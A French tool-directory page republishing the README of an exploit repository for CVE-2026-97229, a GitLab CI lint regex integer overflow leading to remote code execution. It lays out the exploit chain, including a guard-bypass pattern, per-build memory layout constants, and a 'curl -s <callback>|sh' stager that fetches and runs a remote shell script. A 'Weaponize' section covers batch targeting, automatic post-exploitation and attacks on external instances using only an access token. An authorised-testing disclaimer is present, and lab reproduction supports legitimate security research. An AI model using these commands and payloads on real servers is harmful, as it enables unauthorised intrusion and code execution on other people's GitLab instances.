Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-97229-lab — Laboratoire Docker et exploit Python pour CVE-2026-97229, un débordement d'entier Onigmo dans le lint CI de GitLab, non authentifié, menant à une RCE, avec sondage, dérivation de la disposition mémoire et post-exploitation. | Kitploit
Outils/GitHubGitHub/emc-kk/cve-2026-97229-lab
Analyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationCryptographieTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges UtilesLabs et Pratique
GitHubemc-kk/cve-2026-97229-lab

cve-2026-97229-lab

1il y a 2 joursPas encore vérifié

Laboratoire Docker et exploit Python pour CVE-2026-97229, un débordement d'entier Onigmo dans le lint CI de GitLab, non authentifié, menant à une RCE, avec sondage, dérivation de la disposition mémoire et post-exploitation.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-97229 GitLab CI lint regex integer overflow RCE

CVE-2026-97229 — écriture hors limites dans le lint regex de GitLab CI → RCE

Tests autorisés uniquement. Utilisez ceci contre des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester (périmètre de bug bounty, mission client, votre propre laboratoire). Toute utilisation non autorisée est illégale.

English | 中文

Une requête de lint CI non authentifiée qui corrompt le matcher Onigmo et redirige l'exécution vers un gadget system() à l'intérieur de libruby.so :

GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
  → include.rules.exists.regexp compiles a crafted pattern
  → a 57k-repeat drives the matcher into a ~2 GiB expansion
  → the write lands past the allocation and redirects the VM frame
  → mov r14,rdi; call system@plt runs a 28-byte stager
  → curl -s <callback>|sh  →  uid=998(git)

La requête finale n'est pas authentifiée, mais l'implantation de la configuration CI malveillante nécessite un accès en écriture à un projet public (ou à une instance qui autorise l'auto-inscription et les projets publics).


En un coup d'œil

ÉlémentValeur
Affecté (testé)19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1
Non exploitable19.2.8, 19.3.4 (valeur aberrante, voir ci-dessous), 19.3.5, 19.4.2 ; 19.2.3 n'a pas d'image CE
DéclencheurGET /api/v4/projects/:id/ci/lint non authentifié
Prérequisaccessibilité + écriture sur un projet public (jeton, compte compromis ou inscription ouverte)
Impactexécution de commandes en tant que git (uid 998) à l'intérieur du conteneur GitLab
Contraintes du PoCbuilds x86_64 ; la disposition dépend de chaque build de libruby.so, et non de la chaîne de version
Périmètre de l'avis19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2

19.3.4 est indiqué comme affecté par l'avis, mais son libruby.so embarqué n'entre jamais dans le chemin d'expansion vulnérable — nous n'avons pas pu l'exploiter (repro/evidence/2026-10-18-full-matrix/).


Démarrage rapide (labo)

./lab/run.sh 19.4.1                                    # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1

Expected last line:

{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
 "output":"uid=998(git) gid=998(git) groups=998(git)\n..."}

Aucun compte cloud et aucun SSH : le lab est du simple Docker (démon local, DOCKER_HOST, ou un contexte docker). Sur Docker Desktop, ajoutez --callback-host host.docker.internal.


Fonctionnement

  1. L'opérateur crée un projet public et pousse une branche contenant un include.rules.exists.regexp forgé ainsi qu'un chemin de dépôt de 110 octets.
  2. La requête de lint non authentifiée compile ce motif ; la répétition de 57 805 est écrite sous la forme {5(?#)7805} afin que le garde-fou de répétition côté Rails (REPEAT_MAX=1000) ne la détecte pas.
  3. Sur les versions vulnérables, le matcher matérialise l'expansion (~2 Gio) ; l'arithmétique de taille déborde et l'écriture corrompt la mémoire adjacente.
  4. Le chemin forgé fournit une instruction call et l'offset de system@plt, redirigeant la VM.
  5. Le stager est curl -s <callback>|sh, donnant un shell en tant qu'utilisateur de service git.

Partie 1 — Reproduire (lab)

1.1 Démarrer une cible

./lab/run.sh 19.4.1            # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081       # second version on another port

Le lanceur applique les paramètres mémoire dont l'exploit a besoin (sidekiq off, un seul worker Puma, petits tampons Postgres, --memory 6.5g --shm-size 256m), attend l'interface utilisateur et définit le mot de passe root. Voir lab/README.md / lab/README_CN.md.

1.2 Sonde

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
ChampSignification
httpétat de GET /users/sign_in
versionversion de GitLab lue depuis le conteneur (null sans accès au conteneur)
classclassification de l'avis : affected / patched / not-listed / unknown
libruby_md5identité de build du libruby.so du conteneur cible
layoutfinish / gadget / step (uniquement lorsque le build est connu ou dérivable)
exploitableindique si un layout est disponible ; class=affected ne l'implique pas
layout_sourcetable, derived, ou no-overflow-in-build

class: "unknown" signifie simplement qu'aucune information de conteneur/version n'était disponible — pour une cible fournie uniquement par URL, l'outil ne peut ni classifier ni dériver un layout. Voir « Cibles externes » ci-dessous.

1.3 Exploit

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
  --command 'id; hostname; uname -a'

Critère de réussite : lint vaut dropped(HTTPError) ou http(502) et output commence par uid=998(git). Un 200 avec valid:true signifie que le build n'est pas vulnérable.

1.4 Matrice des versions

LigneExploitableCorrigé / non exploitable
19.2.x19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.719.2.8 ; 19.2.3 n'a pas d'image CE
19.3.x19.3.0–19.3.319.3.4 (le matcher ne s'étend jamais), 19.3.5
19.4.x19.4.0, 19.4.119.4.2

Preuves par build : repro/evidence/2026-10-18-full-matrix/ (中文).


Partie 2 — Weaponize (cibles autorisées)

2.1 Formats de cible

# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080

# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1

# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,

container est requis pour le chemin d'exploitation actuel (libruby/layout + rails runner) ; layout est une surcharge optionnelle pour les builds que l'outil ne peut pas lire.

2.2 Pipeline par lots

python3 exploit/cve97229.py --targets targets.txt --json-out run.json

Pour chaque cible, dans l'ordre : probe → exploit → en cas de RCE post-exploitation (exploit/post/collect.sh ; remplacer avec --post-command-file, désactiver avec --no-post). --probe-only s'arrête après l'empreinte. Code de sortie 0 si une cible a donné lieu à une RCE.

2.3 Résolution de la disposition

La charge utile nécessite trois constantes par build (gadget finish, system@plt, étape UTF-8). Ordre de résolution :

  1. layout explicite (0x… 0x… 12345) ;
  2. table md5 vérifiée (10 versions couvertes) ;
  3. dérivation à la volée depuis le libruby.so du conteneur via exploit/layout.py.

Tous les builds vulnérables connus n'utilisent que deux dispositions : 0x486DA9/0x31EE29/1249885 et 0x4885A9/0x31E809/1256138.

2.4 Cibles externes (sans Docker)

--mode external ne nécessite que HTTP et un PAT (portée api) : il crée un projet public via l'API, pousse avec oauth2:<token>, déclenche le lint non authentifié, puis supprime le projet ensuite.

Télécharger l’outil